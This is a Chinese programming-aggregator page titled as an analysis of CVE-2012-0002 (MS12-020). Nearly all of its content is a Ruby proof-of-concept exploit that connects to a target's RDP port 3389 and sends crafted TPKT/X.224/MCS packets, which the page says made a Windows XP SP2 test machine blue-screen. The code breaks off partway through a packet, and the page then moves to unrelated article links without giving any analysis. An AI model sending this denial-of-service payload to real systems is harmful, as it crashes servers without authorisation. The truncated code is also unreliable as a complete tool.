【漏洞分析】CVE2012-0002漏洞分析过程详述

2023-10-17 07:40

本文主要是介绍【漏洞分析】CVE2012-0002漏洞分析过程详述,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

1、漏洞触发

发送攻击脚本后机器蓝屏效果如下:

测试环境:win xp professional sp2

 

 2、ruby脚本源码及分析

#!/usr/bin/env ruby

# ms12-020 PoC

# NOTE: 本测试脚本基于中国民间流传的ChineseShit而写,并且修正了数据包不符合协议的问题

# Author: Joshua J. Drake(jduck)

# From: BlackBap.Org

# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步

 

require 'socket'

 

def send_tpkt(sd, data)

 sd.write(make_tpkt(data))

end

 

def make_tpkt(data)

  [

   3,  # version

   0,  # reserved

    4+ data.length

 ].pack('CCn') + data

end

 

def make_x224(data)

  [data.length ].pack('C') + data

end

 

def make_rdp(type, flags, data)

  [type, flags, 4 + data.length ].pack('CCv') + data

end

 

 

host = ARGV.shift

 

sd = TCPSocket.new(host, 3389)

pkts1 = [""]

 

# craft connection request

rdp = make_rdp(1, 0, [ 0 ].pack('V'))

x224_1 = make_x224([

 0xe0,  # Connection request

 0,     # ??

 0,     # SRC-REF

 0      # Class : Class 0

].pack('CnnC') + rdp)

 

pkts1 << make_tpkt(x224_1)

 

 

# craft connect-initial

x224_2 = make_x224([

 0xf0,  # Data / Class 0

 0x80   # EOT: True / NR: 0

].pack('CC'))

 

# mcsCi

target_params = ""+

 #"\x02\x01\x00"+     #maxChannelIds

 "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds

 "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds

 "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

min_params = ""+

 "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds      

 "\x02\x04\x00\x00\x00\x01"+ # maxUserIds         

 "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds        

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities      

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput      

 "\x02\x04\x00\x00\x00\x01"+ # maxHeight          

 "\x02\x02\x04\x20"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

max_params = ""+

 "\x02\x02\xff\xff"+         # maxChannelIds          

 "\x02\x02\xfc\x17"+         # maxUserIds             

 "\x02\x02\xff\xff"+         # maxTokenIds            

 "\x02\x04\x00\x00\x00\x01"+ # numPriorities          

 "\x02\x04\x00\x00\x00\x00"+ # minThroughput          

  "\x02\x04\x00\x00\x00\x01"+  # maxHeight              

 "\x02\x02\xff\xff"+         # maxMCSPDUSize

 "\x02\x04\x00\x00\x00\x02"  # protocolVersion

 

userdata = ""+

  #gccCCrq

 "\x00\x05\x00\x14"+

 "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+

  #clientCoreData

 "\x01\xc0"+"\xd8\x00"+  # header (type, len)

   "\x04\x00"+"\x08\x00"+ # version

   "\x80\x02"+ # desktop width

   "\xe0\x01"+ # desktop height

   "\x01\xca"+ # color depth

   "\x03\xaa"+ # SASSequence

   "\x09\x04\x00\x00" + # keyboard layout

   "\xce\x0e\x00\x00" + # client build number

    #client name

   "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x04\x00\x00\x00"+ # keyboard type

   "\x00\x00\x00\x00"+ # kbd subType

   "\x0c\x00\x00\x00"+ # kbd FuncKey

    #imeFileName

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x01\xca"+ # postBeta2ColorDepth

   "\x01\x00"+ # clientProductId

   "\x00\x00\x00\x00" + # serialNumber

   "\x10\x00"+ # highColorDepth

   "\x07\x00"+ # supportedColorDepths

   "\x01\x00"+ # earlyCapabilityFlags

    #clientDigProductId -poc has: "00000-000-0000000-00000"

   "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+

   "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+

   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+

   "\x00"+ # connectionType

    "\x00"+ # pad1octet

   "\x00\x00\x00\x00"+ # serverSelectedProtocol

   "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth

   "\x0d\x00\x00\x00"+ # desktopPhysicalHeight

   "\x00\x00\x00\x00"+ # reserved

  #clientSecurityData

 "\x02\xc0"+"\x0c\x00"+ # header (type, len)

这篇关于【漏洞分析】CVE2012-0002漏洞分析过程详述的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/223937

相关文章

Java程序进程起来了但是不打印日志的原因分析

《Java程序进程起来了但是不打印日志的原因分析》:本文主要介绍Java程序进程起来了但是不打印日志的原因分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java程序进程起来了但是不打印日志的原因1、日志配置问题2、日志文件权限问题3、日志文件路径问题4、程序

Java字符串操作技巧之语法、示例与应用场景分析

《Java字符串操作技巧之语法、示例与应用场景分析》在Java算法题和日常开发中,字符串处理是必备的核心技能,本文全面梳理Java中字符串的常用操作语法,结合代码示例、应用场景和避坑指南,可快速掌握字... 目录引言1. 基础操作1.1 创建字符串1.2 获取长度1.3 访问字符2. 字符串处理2.1 子字

Python 迭代器和生成器概念及场景分析

《Python迭代器和生成器概念及场景分析》yield是Python中实现惰性计算和协程的核心工具,结合send()、throw()、close()等方法,能够构建高效、灵活的数据流和控制流模型,这... 目录迭代器的介绍自定义迭代器省略的迭代器生产器的介绍yield的普通用法yield的高级用法yidle

PyInstaller打包selenium-wire过程中常见问题和解决指南

《PyInstaller打包selenium-wire过程中常见问题和解决指南》常用的打包工具PyInstaller能将Python项目打包成单个可执行文件,但也会因为兼容性问题和路径管理而出现各种运... 目录前言1. 背景2. 可能遇到的问题概述3. PyInstaller 打包步骤及参数配置4. 依赖

C++ Sort函数使用场景分析

《C++Sort函数使用场景分析》sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变,如果某些场景需要保持相同元素间的相对顺序,可使... 目录C++ Sort函数详解一、sort函数调用的两种方式二、sort函数使用场景三、sort函数排序

kotlin中const 和val的区别及使用场景分析

《kotlin中const和val的区别及使用场景分析》在Kotlin中,const和val都是用来声明常量的,但它们的使用场景和功能有所不同,下面给大家介绍kotlin中const和val的区别,... 目录kotlin中const 和val的区别1. val:2. const:二 代码示例1 Java

将Mybatis升级为Mybatis-Plus的详细过程

《将Mybatis升级为Mybatis-Plus的详细过程》本文详细介绍了在若依管理系统(v3.8.8)中将MyBatis升级为MyBatis-Plus的过程,旨在提升开发效率,通过本文,开发者可实现... 目录说明流程增加依赖修改配置文件注释掉MyBATisConfig里面的Bean代码生成使用IDEA生

Go标准库常见错误分析和解决办法

《Go标准库常见错误分析和解决办法》Go语言的标准库为开发者提供了丰富且高效的工具,涵盖了从网络编程到文件操作等各个方面,然而,标准库虽好,使用不当却可能适得其反,正所谓工欲善其事,必先利其器,本文将... 目录1. 使用了错误的time.Duration2. time.After导致的内存泄漏3. jsO

C# WinForms存储过程操作数据库的实例讲解

《C#WinForms存储过程操作数据库的实例讲解》:本文主要介绍C#WinForms存储过程操作数据库的实例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、存储过程基础二、C# 调用流程1. 数据库连接配置2. 执行存储过程(增删改)3. 查询数据三、事务处

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤